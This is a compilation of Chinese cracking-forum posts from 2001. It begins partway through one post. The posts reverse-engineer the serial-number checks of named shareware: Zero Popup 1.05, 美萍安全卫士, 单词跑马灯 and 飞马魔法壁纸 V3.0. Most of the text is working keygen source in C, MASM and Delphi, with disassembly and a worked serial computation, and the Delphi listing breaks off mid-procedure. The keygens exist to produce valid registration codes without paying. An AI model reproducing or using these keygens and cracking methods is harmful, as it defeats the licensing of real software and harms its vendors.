|:00427B01 , :0042882A , :0042911D
|
:00427270 8B4104 mov eax, dword ptr [ecx+04]
:00427273 C1E818 shr eax, 18
:00427276 83E00F and eax, 0000000F<--------------取最后1位,if
:00427279 C3 ret 要为1
================================================================================================

* Referenced by a CALL at Addresses:<-------------------------------CALL (3)
|:00427B0F , :00428846 , :0042913C
|
:00427250 8B4104 mov eax, dword ptr [ecx+04]
:00427253 83E00F and eax, 0000000F
:00427256 83C041 add eax, 00000041<-------------i9+0x41==0x4e
:00427259 C3 ret i9==0xd
================================================================================================

文中程序所查的表：

\ 0 1 2 3 4 5 6 7 8 9 A B C D E F
0: A B C D E F G H I J K L M N O P
1: Q R S T U V W X Y A B C D E F G<-----------有没有发现少了点什么
2: H I J K L M N O P Q R S T U V W
3: X Y Z A B C D E F G H I J K L M
4: N O P Q R S T U V W X Y Z A B C

注册码：i0 i1 i2 i3 i4 - i5 i6 i7 i8 i9 - ia ib ic - id ie if <-------共16位

注册码: B Q J A R - F W O F W - K C T - K B P <--------原来输入的注册码
序号: 1 0 2 3 4 5 6 7 8 9 a b c d e f <--------这样比较容易看出是那一位

已知： i1==0,i9==0xd,if==1
假设： i0==1,i2==1,i3==1,i4==1,i5==1,i8==0,ib==0,ie==0
则： (1) 0xi4i5i2i3i0<<1==0xi4i5i2i3i0*2==0x11111*0x2==0x22222
(2) 0xif<<0x9==0xif*0x200==0x1*0x200==0x200
(3) i9<<0xd==0xi9*0x2000==0xd*0x2000==0x1a000
(4) 0xi8<<0x5==0xi8*0x20==0x0
(5) (0xieificidiaibi8i9>>0x9)&0x7==>(0xib/2)&0x7==0
(6) (((0x200 xor 0) xor 0) xor 0x22222) xor 0x1a000==0xicidiai6i7==0x38022

所以: i0 i1 i2 i3 i4 - i5 i6 i7 i8 i9 - ia ib ic - id ie if
序号: 1 0 1 1 1 1 2 2 0 d 0 0 3 8 0 1
注册码: B Q I Y O - B S J X A - A Q K - F N B

,;~;,
/\_
( /
(() //)
| \\ ,,;;'\
__ _( )m=(lancelot(================--------
/' ' '()/~' '.(, |
,;( )|| | ~
,;' \ /-(.;, ) 兰斯洛特[CCG][FCG]
) / ) /
// || 2001.09.18
)_\ )_\


Zero Popup 1.05

 标 题:KeyGen for Zero Popup 1.05 (5千字)
发信人:WinDos2K
时 间:2001-9-15 12:19:48
详细信息:
KeyGen for Zero Popup 1.05
Author: Tooto Technologies, Inc. http://popupkiller2002.tripod.com/
Program Type: Shareware

在上次的教程里已经告诉大家如何暴力破解及给出一个注册码了,这次主要是讲如何写注册机.这个东东其实没多大用!有了它反而有些站连不上:-)
先讲注册原理,它的注册码分为两段,首6个字节它祗接受0 - 9 ,a - f为注册码,而後6个字节为首段注册码处理后的结果,总长度为12字节.
当我们输入12个字节时,它先把前6个字节跟据下面列表转换为另一码,再把对应位数加上特定值,再跟後6位相比,然後跳转.

0 1 2 3 4 5 6 7 8 9 a b c d e f <--输入字符
5 d 7 9 f 1 a 2 b 3 6 c 8 e 0 4 <--转换之後的值

35 64 37 39 66 31 61 32 62 33 36 63 38 65 30 34 <--hex 码

它所加的特定值是跟据转换後的字符值而加以选择.
假定转换之後的值=ID.
当转换之後的值为:
0 - 4 ---> ID = ID + n <--B
5 - 9 ---> ID = ID + n + 31 <--C
a - f ---> ID = ID + n * 2 <--A

下面为反汇出的机器码
:10006C76 0FBE4DF0 movsx ecx, byte ptr [ebp-10] <--输入字
:10006C7A 83F961 cmp ecx, 00000061
:10006C7D 7C0F jl 10006C8E
:10006C7F 0FBE55F0 movsx edx, byte ptr [ebp-10]
:10006C83 8B45FC mov eax, dword ptr [ebp-04] <--位数
:10006C86 8D0C42 lea ecx, dword ptr [edx+2*eax] <--A
:10006C89 884DF0 mov byte ptr [ebp-10], cl
:10006C8C EB23 jmp 10006CB1

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10006C7D(C)
|
:10006C8E 0FBE55F0 movsx edx, byte ptr [ebp-10]
:10006C92 83FA34 cmp edx, 00000034
:10006C95 7D0C jge 10006CA3
:10006C97 0FBE45F0 movsx eax, byte ptr [ebp-10]
:10006C9B 0345FC add eax, dword ptr [ebp-04] <--B
:10006C9E 8845F0 mov byte ptr [ebp-10], al
:10006CA1 EB0E jmp 10006CB1

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10006C95(C)
|
:10006CA3 0FBE4DF0 movsx ecx, byte ptr [ebp-10]
:10006CA7 8B55FC mov edx, dword ptr [ebp-04]
:10006CAA 8D441131 lea eax, dword ptr [ecx+edx+31] <--C
:10006CAE 8845F0 mov byte ptr [ebp-10], al

[ebp-08]为首6字节(处理後),[ebp-0C]为後6字节(我们输入的),跳转在10006B47

:10006B35 8B45F8 mov eax, dword ptr [ebp-08]
:10006B38 50 push eax
:10006B39 8B4DF4 mov ecx, dword ptr [ebp-0C]
:10006B3C 51 push ecx
:10006B3D E8AE650000 call 1000D0F0
:10006B42 83C408 add esp, 00000008
:10006B45 85C0 test eax, eax
:10006B47 7516 jne 10006B5F

编程方面,我是用VC的,下面是关键部份:
for (j=0; j<6; j++)
{
if (TmpCode[j] >= hex_a[10] )
{
RegCode[j]=TmpCode[j]+j*2;
}
else if(TmpCode[j] < hex_a[4] )
{
RegCode[j]=TmpCode[j]+j;
}
else
RegCode[j]=TmpCode[j]+j+0x31;
}

case IDTEST:
GetDlgItemText(hDlg,119,szBuff0,40);
.
.
.
SetDlgItemText(hDlg,116,szBuff0);

在响应case IDTEST:时,先用GetDlgItemText(hDlg,119,szBuff0,40);取得输入ID
用上面方法处理後,再用SetDlgItemText(hDlg,116,szBuff0);放到另一窗口显示.
整个原理就是这样简单!
下面讲一下其它情况
在处理输入字符时,我花了一些时间在字符与内码间之转换,最後用这句
wsprintf(lpBuf, "%c",szBuff0[i]);才把问题解决,其中用SICE跟踪多次才发现,再用下面
转为hex.
if (lpBuf[0] > 0x39)
{
k = lpBuf[0] - 0x57;
}
else
{
k = lpBuf[0]-0x30;
}
lpBuf[0] = hex_d[k]; <--这是对照转换的值
lstrcat(TmpCode,lpBuf);
这是最笨的方法,如有高手,请多指正!
当运行这注册机时,"Test"按键是被置为不可选用(disable),可选用(enable)条件为字节长度非零!
有点象密码输入框 !!
case WM_COMMAND:
Dlg_OnCommand (hDlg, wParam);
StrLen = GetDlgItemText(hDlg,119,szBuff0,40); <--取字节长度
if (StrLen > 0)
{
EnableWindow(hwndb,TRUE); <--这enable按键
}
break;
你会发现它祗接受0 - 9,a - f这16个字符,其它没法显示,那是因为用了subclassig的功能.
case WM_INITDIALOG:
Dlg_OnInit (hDlg);
g_oldEditProc = (WNDPROC)SetWindowLong(
GetDlgItem( hDlg, 119 ), GWL_WNDPROC, (long) EditProc ); <--这是做subclass

if( message == WM_CHAR )
{
chCharCode = (TCHAR) wparam;
if(chCharCode >= 0x30 && chCharCode <= 0x39 ||chCharCode >= 0x61 && chCharCode <= 0x66) <--这是0 - 9,a - f的选定
{
return( CallWindowProc( g_oldEditProc, hDlg, message, wparam, lparam ) );
}

最後是E-mail按键,先多谢Arbiter的提示,这按键才有颜色!
case WM_CTLCOLORSTATIC:
hDC = (HDC) wParam;
hwnd = (HWND)lParam;
if(hwnd == GetDlgItem(hDlg,124))
{
SetTextColor(hDC,RGB(0,0,255)); <--字符颜色
SetBkMode(hDC,TRANSPARENT); <--背景颜色
return((BOOL)GetStockObject(NULL_BRUSH));
}
Underline是下面造的
void MakeCtrlUseUnderlinedFont(HWND hCtl)
{
LOGFONT lf;
GetObject(GetWindowFont(hCtl), sizeof(lf), &lf);
lf.lfUnderline = TRUE;
SetWindowFont(hCtl, CreateFontIndirect(&lf),TRUE);
}
那小手是从winhlp32.exe里第106个icon取出,这功能是自造的,Windows没这功能!
GetWindowsDirectory(strWndDir, MAX_PATH); // Get the windows directory
lstrcat(strWndDir,"\\winhlp32.exe");
hModule = LoadLibrary(strWndDir);
SetCursor(LoadCursor(hModule,MAKEINTRESOURCE(106)));
至於那动作,是用
case IDMAIL:
ShellExecute(0,"open","mailto:windos2k@163.com",0,0,0);
可把这mailto:windos2k@163.com 改为自巳的URL页.
小手的转换是用定时器(timer),这方法很不好,但我没别的!!

源码及可运行档在
http://briefcase.yahoo.com/windos2k

WinDos2K
09.14.01


安全卫士注册机（masm6.0）

 标 题:好久没来，贴个安全卫士注册机（masm6.0） (10千字)
发信人:funyliang
时 间:2001-12-5 15:56:43
详细信息:
.386
.model flat,stdcall
option casemap:none
include \MASM32\INCLUDE\windows.inc
include \MASM32\INCLUDE\user32.inc
include \MASM32\INCLUDE\kernel32.inc
include \MASM32\INCLUDE\comctl32.inc
include \MASM32\INCLUDE\comdlg32.inc
include \MASM32\INCLUDE\masm32.inc

includelib \MASM32\LIB\masm32.lib
includelib \MASM32\LIB\user32.lib
includelib \MASM32\LIB\kernel32.lib
includelib \MASM32\LIB\comctl32.lib
includelib \MASM32\LIB\comdlg32.lib

DLG_MAIN equ 100
IDGEN equ 10
Edit1 equ 11
Edit2 equ 12

_ProcDlgMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
_Math PROTO :DWORD,:DWORD,:DWORD
BlowFish_En PROTO :DWORD,:DWORD
BlowFish_Fun PROTO :DWORD
BlowFish_Init PROTO :DWORD,:DWORD

.data?
hInstance dd ?

.data
szhex dd 0
jqhlen dd 0
szID db 20 dup(0)
szText db 9 dup(0)
fudian1 dd 3fdca138h,406d9168h,415c6944h,42c60000h
zhong dd 0
sn dd 0
tem dd 0
ftem dd 0
ftem1 dd 1
ftem2 dd 0
fa dd 0
fb dd 0
fc dd 0
fd dd 0
sztxt db 20 dup (0)
sztxt1 db 20 dup (0)

.code
gao proc
mov edx,tem
imul edx, 08088405h
inc edx
mov tem,edx
mul edx
mov eax, edx
ret
gao endp

jsaqws proc uses eax ebx ecx edx esi edi
mov eax,szhex
mov ecx,013dh
cdq
idiv ecx
mov tem,edx
mov eax,0104ah
call gao
mov esi,eax
mov eax,016c6h
call gao
add esi,eax
mov zhong,esi
fild dword ptr zhong
lea eax,fudian1
fmul dword ptr [eax]
fstp dword ptr ftem
fild ftem1
fld ftem
fprem
fstp dword ptr ftem2
fld ftem
fld ftem2
fsub
lea eax,fudian1
fmul dword ptr [eax]
fstp dword ptr ftem
fild ftem1
fld ftem
fprem
fstp dword ptr ftem2
fld ftem
fld ftem2
fsub
fist dword ptr fa
finit
mov eax,szhex
mov ecx,011h
cdq
idiv ecx
xor edx,013h
mov zhong,edx
fild dword ptr zhong
lea eax,fudian1
add eax,4
fmul dword ptr [eax]
fstp dword ptr ftem
fild ftem1
fld ftem
fprem
fstp dword ptr ftem2
fld ftem
fld ftem2
fsub
fist dword ptr tem
finit
mov eax,0f77h
call gao
mov esi,eax
mov eax,021e1h
call gao
add esi,eax
mov eax,017h
call gao
xor esi,eax
mov fb,esi
fld dword ptr fudian1
lea eax,fudian1
add eax,4
fadd dword ptr [eax]
add eax,4
fadd dword ptr [eax]
mov eax,szhex
mov ecx,0fh
cdq
idiv ecx
xor edx,0dh
mov ftem,edx
fild dword ptr ftem
faddp st(1), st
fstp dword ptr ftem
fild ftem1
fld ftem
fprem
fstp dword ptr ftem2
fld ftem
fld ftem2
fsub
fist dword ptr tem
finit
mov eax,0f8bh
call gao
mov esi,edx
mov eax,01c69h
call gao
add esi,edx
mov eax,0e59h
call gao
add esi,edx
mov eax,0defh
call gao
add esi,edx
mov eax,02172h
call gao
add esi,edx
mov fc,esi
lea eax,fudian1
add eax,12
fld dword ptr [eax]
lea eax,fudian1
fmul dword ptr [eax]
fstp dword ptr ftem
fild ftem1
fld ftem
fprem
fstp dword ptr ftem2
fld ftem
fld ftem2
fsub
fist dword ptr ftem
mov eax,szhex
mov ecx,ftem
cdq
idiv ecx
mov edi,edx
mov eax,0b4h
call gao
mov zhong,eax
fild zhong
fsin
mov zhong,100
fild zhong
fmul
fstp dword ptr ftem
fild ftem1
fld ftem
fprem
fstp dword ptr ftem2
fld ftem
fld ftem2
fsub
fist dword ptr ftem
mov esi,ftem
finit
mov ftem,edi
fild ftem
lea eax,fudian1
add eax,8
fmul dword ptr [eax]
fstp dword ptr ftem
fild ftem1
fld ftem
fprem
fstp dword ptr ftem2
fld ftem
fld ftem2
fsub
fist dword ptr ftem
add esi,ftem
mov tem,esi
mov eax,0f4fh
call gao
mov esi,eax
mov eax,1dd1h
call gao
add esi,eax
add esi,fa
add esi,fb
add esi,fc
lea edi,sztxt1
mov eax,esi
xor ebx,ebx
es002: mov ecx,10
cdq
idiv ecx
add edx,030h
mov [edi],edx
inc edi
inc ebx
cmp eax,0
jz es003
jmp es002
es003: lea esi,sztxt1
add esi,ebx
dec esi
lea edx,sztxt
es001: mov al,[esi]
mov [edx],al
dec esi
inc edx
dec ebx
jnz es001
ret

ret
jsaqws endp

_ProcDlgMain proc uses ebx edi esi edx ecx,hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD
mov eax,wMsg
.if eax==WM_CLOSE
invoke EndDialog,hWnd,NULL
.elseif eax==WM_COMMAND
mov eax,wParam
and eax,0ffffh
.if eax==IDGEN
invoke GetDlgItemText,hWnd,Edit1,offset szID,50
mov jqhlen,eax
mov esi,offset szID
mov edi,eax
xor eax,eax
cs008: imul eax,10
mov bl,[esi]
cmp bl,030h
jl c010
cmp bl,039h
jg c010
sub bl,030h
and ebx,0ffh
add eax,ebx
inc esi
dec edi
jnz cs008
mov szhex,eax
invoke jsaqws
invoke SetDlgItemText,hWnd,Edit2,offset sztxt
c010: mov eax,FALSE
ret
.elseif eax==IDCLOSE
invoke EndDialog,hWnd,NULL
.endif
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret

_ProcDlgMain endp

;主程序
start:
invoke InitCommonControls
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,0
invoke ExitProcess,NULL
end start

end
;资源文件
#define WS_VISIBLE 0x10000000L
#define WS_CAPTION 0x00C00000L
#define WS_SYSMENU 0x00080000L
#define WS_THICKFRAME 0x00040000L
#define WS_POPUP 0x80000000L
#define DS_MODALFRAME 0x80L
#define SS_LEFT 0x00000000L
#define SS_CENTER 0x00000001L
#define ES_LEFT 0x0000L
#define BS_PUSHBUTTON 0x00000000L
#define IDGEN 10
#define IDCLOSE 8
#define DLG_MAIN 100
#define EDIT1 11
#define EDIT2 12
IDI_ICON1 ICON "smenu.ico"
DLG_MAIN DIALOGEX 100,150,150,80
STYLE DS_MODALFRAME|WS_POPUP|WS_VISIBLE|WS_CAPTION|WS_SYSMENU|WS_THICKFRAME
CAPTION "美萍安全卫士注册机"
FONT 9,"宋体"
BEGIN
CONTROL "机器号:",-1,"Static",SS_LEFT,05,14,30,17
CONTROL "注册码:" ,-2,"Static",SS_LEFT,05,41,40,17
CONTROL "制作-=Funyliang[CNCG]/CYL=-本软件纯属研究之用，请勿用于非法途径" ,-2,"Static",SS_CENTER,05,60,140,17
CONTROL "" ,11,"Edit",ES_LEFT,35,13,70,10
CONTROL "" ,12,"Edit",ES_LEFT,35,40,70,10
CONTROL "算号",IDGEN,"BUTTON",BS_PUSHBUTTON,110,11,35,15
CONTROL "退出",IDCLOSE,"BUTTON",BS_PUSHBUTTON,110,37,35,15
END


单词跑马灯

 标 题:MASM32单词跑马灯免输ID注册机：超级简单 (6千字)
发信人:5,555
时 间:2001-11-12 21:22:05
详细信息:
;软件注册算法：
;1.(硬盘ID(Hex)+806H) xor 1E3733H,转为10进制=注册ID;
;2.(111A7BH-(注册ID mod 3E8H)) xor 注册ID,转为10进制=序列号
;以下是MASM32注册机
;kg-pmd.asm==============================================
.386 ;代码类型？
.model flat,stdcall ;编译模式？
option casemap:none ;大小写敏感
include hd.h ;头文件
_WinMain Proto :DWORD,:DWORD,:DWORD,:DWORD
Calculation Proto

.const
DLG_MAIN equ 1000 ;与资源文件中的ID值定义要相符
IDC_UN equ 1001
IDC_SN equ 1002
ID_GEN equ 1003
ID_EXIT equ 1004

.data ;数据段定义，静态变量
MsgCap db "单词跑马灯 Ver 1.0 注册机 by 5,555",0
MsgName db "请输入您的机器码！",0
hInstance dd 0
ID_Hex dd 0
UserLen dd 0
VName db 256 dup (0)
FSName db 256 dup (0)
Drive db "C:\",0
VID dd 0
.data? ;数据段定义，动态变量
UserID db 80 dup (?)
SN db 80 dup (?)

.code
start:
invoke GetModuleHandle,NULL ;取得应用程序的句柄
mov hInstance,eax
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _WinMain,NULL ;调用API函数显示对话框，进入消息循环(_WinMain函数处理这个循环)，参数含义自己查
invoke ExitProcess,NULL ;退出消息循环后，结束进程(返回NULL值？)

_WinMain proc uses ebx edi esi, \ ;过程用到的寄存器，编译时自动PUSH&POP。
hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD ;几个系统参数

mov eax,wMsg ;取消息
.if eax == WM_CLOSE ;处理关闭窗口、初始化窗口及窗口按钮按下的动作,这里只列了三类
invoke EndDialog,hWnd,NULL
.elseif eax == WM_INITDIALOG
call GetID ;预先取得跑马灯的用户ID
invoke SetDlgItemText, hWnd, IDC_UN, addr UserID ;显示在对话框中的“机器码”后
invoke SetWindowText,hWnd,ADDR MsgCap ;将MsgCap字串写到对话框标题栏上(原来MsgCap字串我是加密过的，用UEDIT不能改。这样即使用exescope修改了资源中的标题栏，标题信息也不会变：)
invoke SendDlgItemMessage,hWnd,IDC_SN,EM_SETREADONLY,TRUE,NULL ;发送消息使注册码框只读
.elseif eax == WM_COMMAND ;处理命令
mov eax,wParam
.IF lParam!=0 ;？？？
.if eax==ID_GEN
invoke GetDlgItemText, hWnd, IDC_UN, addr UserID, 80 ;从ID为IDC_UN(机器码)的文本框中取得字符串并放入UserID中
.if eax!=NULL ;如果并非没有输入，计算
mov UserLen,eax
invoke Calculation
invoke SetDlgItemText, hWnd, IDC_SN, addr SN ;显示SN的内容到ID号IDC_SN的框中
.else
invoke MessageBox,NULL,addr MsgName,addr MsgCap,MB_OK or MB_ICONEXCLAMATION
.endif
.elseif eax==ID_EXIT
invoke SendMessage,hWnd,WM_CLOSE,NULL,NULL
.endif
.ENDIF
.else
mov eax,FALSE ;如果没有处理过消息，返回False值(放入任务队列，下次循环继续处理？)
ret
.endif
mov eax,TRUE ;否则返回True
ret
_WinMain ENDP

Calculation Proc
pushad ;保存所有的寄存器值，懒人的方法：)。以下就不用解释了吧。
mov ecx,UserLen
lea ebp,UserID
call Dec2Hex
mov ID_Hex,eax
mov ebp,3e8h
cdq
div ebp
mov eax,111a7bh
sub eax,edx
xor eax,ID_Hex
lea ebp,SN
call Num2Dec
popad
ret
Calculation Endp

GetID Proc
pushad
invoke GetVolumeInformation, addr Drive, addr VName, 255, addr VID, 0, 0, addr FSName, 255
mov eax,VID
add eax,806h
xor eax,1e3733h
mov ID_Hex,eax
lea ebp,UserID
call Num2Dec
popad
ret
GetID Endp

;===数字转换成10进制字符串,对0也同样适用
Num2Dec Proc uses ebx edx edi ;入口：eax:Num to convert, ebp-->buffer　出口：ecx:返回转换后的ASC长度
xor edi,edi
mov ebx,10
@Num2Dec_Lop1:
cdq
div ebx
push edx
inc edi
test eax,eax
jnz @Num2Dec_Lop1
mov ecx,edi
@Num2Dec_Lop2:
pop eax
add al,'0'
mov byte ptr [ebp],al
inc ebp
dec edi
jnz @Num2Dec_Lop2
mov byte ptr [ebp],0 ;加上结尾的0
ret
Num2Dec Endp

;===10进制字符串转换成16进制数字,对0也同样适用
Dec2Hex Proc uses ebx edx ecx edi ;入口：ecx:字符串长度 ebp-->0结尾的10进制字符串 出口：eax:返回值
xor ebx,ebx
mov edi,1
@Dec2Hex_Lop_1:
xor eax,eax
mov al,[ebp+ecx-1]
sub al,'0'
imul edi
add ebx,eax
imul edi,10
loop @Dec2Hex_Lop_1
mov eax,ebx
ret
Dec2Hex Endp
End start

;kg-pmd.rc
#include <e:\masm32\include\resource.h>
#define DLG_MAIN 1000
#define IDC_UN 1001
#define IDC_SN 1002
#define ID_GEN 1003
#define ID_EXIT 1004
DLG_MAIN DIALOG 64,53,240,52
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "单词跑马灯 Ver 1.0 注册机 by 5,555"
FONT 9, "宋体"
{
DEFPUSHBUTTON "注册", ID_GEN, 180, 8, 50, 14
PUSHBUTTON "退出", ID_EXIT, 180, 26, 50, 14
EDITTEXT IDC_UN, 52, 10, 100, 12, WS_BORDER | WS_TABSTOP
EDITTEXT IDC_SN, 52, 29, 100, 13, WS_BORDER | WS_TABSTOP
LTEXT "机器码:", -1, 8, 12, 40, 10
LTEXT "注册码:", -1, 8, 30, 41, 9
}

;hd.h****************************************
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
include \masm32\include\comctl32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib


飞马魔法壁纸V3.0

 标 题:飞马魔法壁纸V3.0注册算法（适合初学者） (7千字)
发信人:crackjack[CCG]
时 间:2001-11-25 15:59:29
详细信息:
飞马魔法壁纸V3.0破解
原版下载地址：http://www.shareware.net.cn/download.asp?id={1382670D-7C41-4D4C-B470-468F46FF75AD}

注册机下载：CNCG主页

破解工具：trw2000

先下断点：bpx hmemcpy，然后返回到主程序，如下：

:004A8564 E82FB9F9FF call 00443E98
:004A8569 837DF400 cmp dword ptr [ebp-0C], 00000000 <====返回到这里
:004A856D 0F84C1010000 je 004A8734
:004A8573 8D55F0 lea edx, dword ptr [ebp-10]
:004A8576 8B833C070000 mov eax, dword ptr [ebx+0000073C]
:004A857C E817B9F9FF call 00443E98
:004A8581 837DF000 cmp dword ptr [ebp-10], 00000000
:004A8585 0F84A9010000 je 004A8734
:004A858B 8D55EC lea edx, dword ptr [ebp-14]
:004A858E 8B8340070000 mov eax, dword ptr [ebx+00000740]
:004A8594 E8FFB8F9FF call 00443E98
:004A8599 837DEC00 cmp dword ptr [ebp-14], 00000000
:004A859D 0F8491010000 je 004A8734
:004A85A3 8D55E8 lea edx, dword ptr [ebp-18]
:004A85A6 8B833C070000 mov eax, dword ptr [ebx+0000073C]
:004A85AC E8E7B8F9FF call 00443E98
:004A85B1 8B45E8 mov eax, dword ptr [ebp-18]
:004A85B4 E89BC5F5FF call 00404B54
:004A85B9 E8DA0DF6FF call 00409398
:004A85BE 8BF8 mov edi, eax
:004A85C0 D1EF shr edi, 1
:004A85C2 85FF test edi, edi
:004A85C4 7905 jns 004A85CB
:004A85C6 E8A5B2F5FF call 00403870

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A85C4(C)
|
:004A85CB 8BC7 mov eax, edi
:004A85CD 83C002 add eax, 00000002
:004A85D0 7105 jno 004A85D7
:004A85D2 E8A1B2F5FF call 00403878

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A85D0(C)
|
:004A85D7 E858A1F5FF call 00402734
:004A85DC 8BF0 mov esi, eax
:004A85DE C60600 mov byte ptr [esi], 00
:004A85E1 8D55E4 lea edx, dword ptr [ebp-1C]
:004A85E4 8B833C070000 mov eax, dword ptr [ebx+0000073C]
:004A85EA E8A9B8F9FF call 00443E98
:004A85EF 8B45E4 mov eax, dword ptr [ebp-1C]
:004A85F2 E85DC5F5FF call 00404B54
:004A85F7 8BD0 mov edx, eax
:004A85F9 03D7 add edx, edi
:004A85FB 8BC6 mov eax, esi
:004A85FD E89E0EF6FF call 004094A0
:004A8602 8D55E0 lea edx, dword ptr [ebp-20]
:004A8605 8B833C070000 mov eax, dword ptr [ebx+0000073C]
:004A860B E888B8F9FF call 00443E98
:004A8610 8B45E0 mov eax, dword ptr [ebp-20] <====取申请码
:004A8613 E8FC06F6FF call 00408D14 <====将申请码转换为相应的十六进制(假设结果为R1)
:004A8618 8BF8 mov edi, eax
:004A861A 8D45DC lea eax, dword ptr [ebp-24]
:004A861D 8BD6 mov edx, esi
:004A861F E870C2F5FF call 00404894
:004A8624 8B45DC mov eax, dword ptr [ebp-24]
:004A8627 E8E806F6FF call 00408D14 <====将申请码的后5位转换为相应的十六进制(假设结果为R2)
:004A862C 03F8 add edi, eax <====R3=R1+R2
:004A862E 7105 jno 004A8635 <====无溢出则跳
:004A8630 E843B2F5FF call 00403878

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A862E(C)
|
:004A8635 81C7753D1E00 add edi, 001E3D75 <====R4=R3+1E3D75H
:004A863B 7105 jno 004A8642
:004A863D E836B2F5FF call 00403878

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A863B(C)
|
:004A8642 8D55D8 lea edx, dword ptr [ebp-28]
:004A8645 8B8344070000 mov eax, dword ptr [ebx+00000744]
:004A864B E848B8F9FF call 00443E98
:004A8650 8B45D8 mov eax, dword ptr [ebp-28]
:004A8653 E804C3F5FF call 0040495C <====获取用户名长度(L)
:004A8658 03F8 add edi, eax <====R5=R4+L
:004A865A 7105 jno 004A8661
:004A865C E817B2F5FF call 00403878

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A865A(C)
|
:004A8661 897DFC mov dword ptr [ebp-04], edi
:004A8664 8D55F8 lea edx, dword ptr [ebp-08]
:004A8667 8B45FC mov eax, dword ptr [ebp-04]
:004A866A E80506F6FF call 00408C74
:004A866F 8B45F8 mov eax, dword ptr [ebp-08]
:004A8672 E8DDC4F5FF call 00404B54
:004A8677 E81C0DF6FF call 00409398
:004A867C 8BF8 mov edi, eax
:004A867E D1EF shr edi, 1
:004A8680 85FF test edi, edi
:004A8682 7905 jns 004A8689
:004A8684 E8E7B1F5FF call 00403870

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A8682(C)
|
:004A8689 8BC7 mov eax, edi
:004A868B 83C002 add eax, 00000002
:004A868E 7105 jno 004A8695
:004A8690 E8E3B1F5FF call 00403878

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A868E(C)
|
:004A8695 E89AA0F5FF call 00402734
:004A869A 8BF0 mov esi, eax
:004A869C C60600 mov byte ptr [esi], 00
:004A869F 8B45F8 mov eax, dword ptr [ebp-08]
:004A86A2 E8ADC4F5FF call 00404B54
:004A86A7 8BD0 mov edx, eax
:004A86A9 03D7 add edx, edi
:004A86AB 8BC6 mov eax, esi
:004A86AD E8EE0DF6FF call 004094A0
:004A86B2 8D45D4 lea eax, dword ptr [ebp-2C]
:004A86B5 8BD6 mov edx, esi
:004A86B7 E8D8C1F5FF call 00404894
:004A86BC 8B45D4 mov eax, dword ptr [ebp-2C]
:004A86BF E85006F6FF call 00408D14 <====将R5相应的十进制后5位转换成十六进制(R6)
:004A86C4 8BF8 mov edi, eax
:004A86C6 037DFC add edi, dword ptr [ebp-04] <====R7=R6+R5结果就是注册码（十六进制形式）
:004A86C9 7105 jno 004A86D0
:004A86CB E8A8B1F5FF call 00403878

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A86C9(C)
|
:004A86D0 8D55D0 lea edx, dword ptr [ebp-30]
:004A86D3 8B8340070000 mov eax, dword ptr [ebx+00000740]
:004A86D9 E8BAB7F9FF call 00443E98
:004A86DE 8B45D0 mov eax, dword ptr [ebp-30]
:004A86E1 50 push eax
:004A86E2 8D4DCC lea ecx, dword ptr [ebp-34]
:004A86E5 BA01000000 mov edx, 00000001
:004A86EA 8BC7 mov eax, edi
:004A86EC E8E705F6FF call 00408CD8
:004A86F1 8B55CC mov edx, dword ptr [ebp-34]
:004A86F4 58 pop eax
:004A86F5 E8A6C3F5FF call 00404AA0 <====比较注册码
:004A86FA 7531 jne 004A872D <====不相同就注册失败啦
:004A86FC 6840100000 push 00001040

* Possible StringData Ref from Code Obj ->"提示"
|
:004A8701 6890874A00 push 004A8790

* Possible StringData Ref from Code Obj ->"感谢您的注册！为保存注册信息，请重新运行魔法壁"
->"纸。"
|
:004A8706 6898874A00 push 004A8798
:004A870B 8BC3 mov eax, ebx
:004A870D E8C61EFAFF call 0044A5D8
:004A8712 50 push eax

标 题:贴个delphi注册机源码：） (1千字)
发信人:crackjack[CCG]
时 间:2001-11-25 21:01:53
详细信息:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Buttons, StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
GroupBox1: TGroupBox;
Edit1: TEdit;
GroupBox2: TGroupBox;
Edit2: TEdit;
GroupBox3: TGroupBox;
Edit3: TEdit;
Panel1: TPanel;
SpeedButton1: TSpeedButton;
Panel2: TPanel;
SpeedButton2: TSpeedButton;
SpeedButton3: TSpeedButton;
procedure SpeedButton3Click(Sender: TObject);
procedure SpeedButton2Click(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);

private

{ Private declarations }
public

{ Public declarations }
end;

var
Form1: TForm1;

implementation

uses Unit2;

{$R *.dfm}

procedure TForm1.SpeedButton3Click(Sender: TObject);
begin
form1.Close ;
end;

procedure TForm1.SpeedButton2Click(Sender: TObject);
begin
form2.show;
end;

procedure TForm1.SpeedButton1Click(Sender: TObject);
var
name:string;
namelen:byte;
code:string;
codehex:int64;
coder5:integer;
r1,r2,r3,r4:int64;
regcode:string;
position:pchar;
i:byte;
begin
name:=edit1.Text ;
namelen:=strlen(pchar(name));
if namelen=0 then
begin
messagedlg('请输入你的用户名！',mterror,[mbok],0);
exit;
end;
code:=edit2.Text ;
